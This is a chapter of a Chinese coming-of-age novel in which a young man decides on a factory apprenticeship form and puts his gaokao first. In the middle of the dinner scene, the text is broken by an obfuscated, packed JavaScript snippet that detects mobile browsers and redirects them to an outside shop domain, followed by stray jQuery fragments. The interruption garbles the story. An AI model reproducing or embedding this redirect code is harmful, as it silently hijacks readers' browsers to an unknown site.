梁振山把那张表放到柜台上时，梁潮生正拆一台收音机。
螺丝滚到桌边，被纸角挡住。
梁潮生抬头看见父亲，先看了看他身后，又看向墙上的钟。
“今天厂里下班这么早？”
“换了班。”
梁振山没进门，只站在柜台外，把手里的牛皮纸往前推了推。
最上面印着一行黑字：
机械厂应届毕业生招工意向登记表。
红叶照相馆里静了一瞬。
韩师傅在暗房冲照片，周念安坐在另一头核对毕业留言带订单，梁潮平趴在凳子上背英语，刚背到一半，也悄悄抬起头。
梁潮生放下螺丝刀。
“什么意思？”
语气已经有些硬了。
梁振山听出来，脸色也不太好看。
“厂里今年招一批学徒，先摸底。机修、电工、仓储，都有名额。”
“我报了高考。”
“我知道。”
“那你还拿这个来？”
梁振山的眉头皱起来。
父子俩一开口，屋里的空气便又有了从前的样子。一个觉得对方又要替自己安排，一个听见反问就本能地想训人。
宋玉兰不在这里，没人能及时递台阶。
周念安合上账本，正准备起身，梁振山却先把那张表翻了过来。
意向栏是空的。
家长意见也是空的。
连姓名都没写。
“我没替你填。”他说。
梁潮生停住。
梁振山将一支钢笔放到表格旁边。
“厂里说，应届生家里有意向的，先把表领回去。你考你的，填不填自己看。后天下午截止。”
他说完，又像怕这话不够清楚，补了一句：
“我只负责把表带回来。”
梁潮平看看父亲，又看看哥哥，忍不住说：“那您今天进步挺大。”
梁振山转头：“你英语背完了？”
梁潮平立刻低下头。
“Goodmorning，早上好。Goodafternoon，下午好……”
“你刚才已经背过这两句。”
“巩固。”
梁潮生拿起那张表。
纸不厚，边缘被梁振山握得有些皱。意向栏下面列着三个选项：
机修学徒。
电工学徒。
仓储及后勤岗位。
最后一项是：服从统一分配。
梁潮生盯着“服从统一分配”看了两秒，抬头问：“你想让我选哪个？”
梁振山说：“我说了，你自己填。”
“你总得有想法。”
“有想法也不是我的表。”
这话从梁振山嘴里说出来，实在有些生硬。他大概练过，练得不太熟，说完便把脸转向橱窗，不肯再看儿子。
梁潮生低头笑了一声。
“行。”
梁振山又说：“别为了跟我拧，故意不填。”
“我什么时候——”
话到一半，他自己停了。
以前确实有。
父亲说东，他偏往西；父亲让他进厂，他便说宁可在巷口修一辈子破收音机。到底是不想走那条路，还是只是不想走父亲指的路，有时连他自己也分不清。
梁振山没等他回答。
“想好了交给我，或者自己送劳服办。”他说，“过期不候。”
他转身往外走。
走到门口，又停了一下。
“机修组今年带学徒的是邱师傅。”
梁潮生挑眉：“这算暗示？”
“算告诉你情况。”梁振山沉着脸，“邱师傅脾气不好，但肯教。电工组名额少，要先考试。仓储稳，学不到多少手艺。”
说完他就走了。
梁潮生拿着表，朝门口看了半天。
梁潮平小声说：“爸还是想让你选机修。”
“闭嘴，背你的英语。”
“我只是分析。”
“你英语分析明白了吗？”
梁潮平又开始巩固早上好和下午好。
周念安拿过那张表，从头到尾看了一遍。
“机修学徒每月有补贴，试用半年。电工要参加厂内考试，通过以后进培训班。仓储可以直接上岗。”
梁潮生靠着柜台：“你觉得哪个合适？”
“我不知道。”
“你不是很会算吗？”
“可以算收入、时间和学到什么。”周念安把表推回去，“不能替你算想不想。”
“你都帮我填过补课表了。”
“那不一样。”
“哪里不一样？”
“补课表是为了你已经决定参加的考试。”她指了指意向栏，“这个决定，你还没做。”
梁潮生握着笔，迟迟没往下写。
他并不讨厌机修。
机器坏了，总有一个地方能拆开，一个零件能替换，一段线路能重新接上。比起那些说不清的人情和脸色，他更喜欢能看见原因的东西。
可一旦填下去，厂门、车间、工位便会从“退路”变成一条伸到脚下的路。
他怕自己走进去后，就再也懒得出来。
也怕不填，最后什么都没考上，连这条路也没了。
“能不能两个都要？”梁潮平忽然问。
梁潮生看他：“什么意思？”
“先高考。考上了去念书，没考上再当学徒。”
“表上没这个选项。”
梁潮平凑过来看：“下面不是有备注吗？”
意向栏最下方，确实留着很窄的一块空白。
梁潮生拿笔比了一下：“这么小，写不下我的人生。”
周念安说：“少写废话，够用。”
“你替我写？”
“自己写。”
他说到“自己写”时，忽然觉得今天所有人都在跟他重复这三个字。
他把表折好，塞进书包。
“我再想一晚。”
韩师傅从暗房出来，正好听见。
“别想太久。选路跟拍照一样，光站着琢磨表情，胶卷也会过期。”
梁潮生看他：“您今天怎么也像老师？”
“我是怕你堵着柜台，影响我做生意。”
第二天，厂劳服办来红叶照相馆拍招工登记照。
一共二十六个人，都是旧巷和附近家属区的应届毕业生。有参加高考的，也有早早决定进厂的。
有人坐到镜头前时兴奋得脸发红，说自己从小就想进父亲的车间；有人全程没什么表情，家里说仓储岗位稳定，他便在表上选了仓储；还有个男生偷偷问梁潮生，电工考试难不难，因为他母亲想让他去后勤，他却更想学一门手艺。
“你自己决定了吗？”男生问。
梁潮生正在调灯，动作顿了顿。
“还没。”
“你也领表了？”
“嗯。”
男生有些意外：“我以为你肯定不进厂。”
“为什么？”
“你看起来不像能按时上班的人。”
梁潮生：“……”
周念安在登记桌后低下头，肩膀轻轻动了一下。
他看过去：“想笑就笑。”
“我在核名字。”
“你刚才没写。”
“心里核。”
拍完招工照，劳服办的人留下尾款，又特意问韩师傅能不能长期承接工牌照。
韩师傅答应先试。
梁潮生站在门边，看着那群年轻人拿着登记照离开。有人回学校复习，有人去厂里交表，走出巷口后便分成了两拨。
谁也没比谁更体面。
只是去的地方不同。
晚上回家，宋玉兰已经把招工表放到了饭桌上。
她没有催，只问：“想吃面还是米饭？”
“都行。”
“都行最难做。”
“那面。”
梁潮平在旁边说：“哥选饭比选工作快。”
梁潮生抬脚踢了踢他的凳子。
梁振山坐在桌对面吃饭，从头到尾没问意向栏。他越不问，梁潮生越觉得不习惯。
吃到一半，梁潮生主动开口：“邱师傅真肯教？”
梁振山夹菜的手停了一下。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17774719|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“肯教。前提是你肯学。”
“机修学徒以后只修车床？”
“先学车床和设备。厂里广播、线路、仪表坏了，也有人调过去帮忙。”
“能考证吗？”
“干满年限能考。”
梁潮生点点头。
梁振山没有趁机说“那就选机修”，只继续吃饭。
过了一会儿，他说：“厂里的路也不一定能走一辈子。学到手的东西，比工位牢靠。”
梁潮生抬头看他。
这是梁振山第一次承认，厂里的铁饭碗也未必真像铁一样。
他在厂里干了大半辈子，见过车间红火，也见过订单少时一群人坐着等活。过去他只会说稳定，今天却把稳定背后的不稳也说了出来。
宋玉兰往父子俩碗里各夹了一筷子菜。
“你们慢慢说，别说着说着又拍桌子。”
“谁拍桌子了？”两个人同时开口。
梁潮平低头笑得差点呛着。
饭后，梁潮生把表铺到自己书桌上。
先写姓名。
梁潮生。
再写学校和家庭住址。
到了意向栏，他没有在四个选项里直接打钩，而是在备注处一笔一画写：
参加高考。如未升学，愿申请机修学徒，接受技能考核，不接受提前定岗。
那块空白果然很窄。
最后三个字差点挤到表格外面。
梁潮生看了看，觉得还能认。
家长意见一栏仍旧空着。
他拿着表去找梁振山。
“你签。”
梁振山接过来，看了很久。
“劳服办不一定同意你保留到高考以后。”
“不同意就算。”
“机修名额可能先给别人。”
“那是他们的安排。”梁潮生说，“这个是我的意思。”
梁振山抬眼看他。
最终什么也没改，只在家长意见栏里写：
已知悉，由本人决定。
落款，梁振山。
父子俩的字挨在同一张纸上。
都不好看。
也都能认出来。
第二天清早，梁潮生把表交到劳服办。工作人员看见备注，皱着眉说从没见人这么填。
他问：“不能交？”
“能交，但厂里不保证留名额。”
“知道。”
对方在表格右上角盖了收讫章。
红印落下，梁潮生接回回执。
他没有立刻去学校，而是绕到红叶照相馆。周念安刚打开门，见他进来，先看了眼墙上的钟。
“今天没迟到。”
“我交表了。”
“选了什么？”
梁潮生把回执递给她。
周念安看完那行挤得满满的备注，抬头说：“字太大。”
“只有这个评价？”
“意思写清楚了。”
“还有呢？”
“这是你的表。”
她把回执还给他。
梁潮生靠在柜台边，笑了。
“周同学，你现在也学会说废话了。”
“跟你学的。”
门外早班铃响起来，旧巷里的自行车一辆接一辆涌向厂门。另一头，学校的预备铃也远远传来。
梁潮生把回执夹进补课表。
一边是高考。
一边是机修学徒。
他没有急着撕掉其中一张，也没有让任何人替他把名字填进去。
上午第一节课，李老师带来了一叠模拟考试通知。
“下周开始第一次全市联考。”她说，“成绩出来后，学校会根据情况重新做志愿指导。”
全班顿时一片哀号。
梁潮生翻开数学练习册，看见周念安昨天给他留的五道题。
他做对了两道。
还有三道空着。
后排同学问：“梁潮生，你真打算考啊？”
他拿起笔，低头补第一道。
“表都填了。”
“哪张表？”
梁潮生想了想。
“我的。”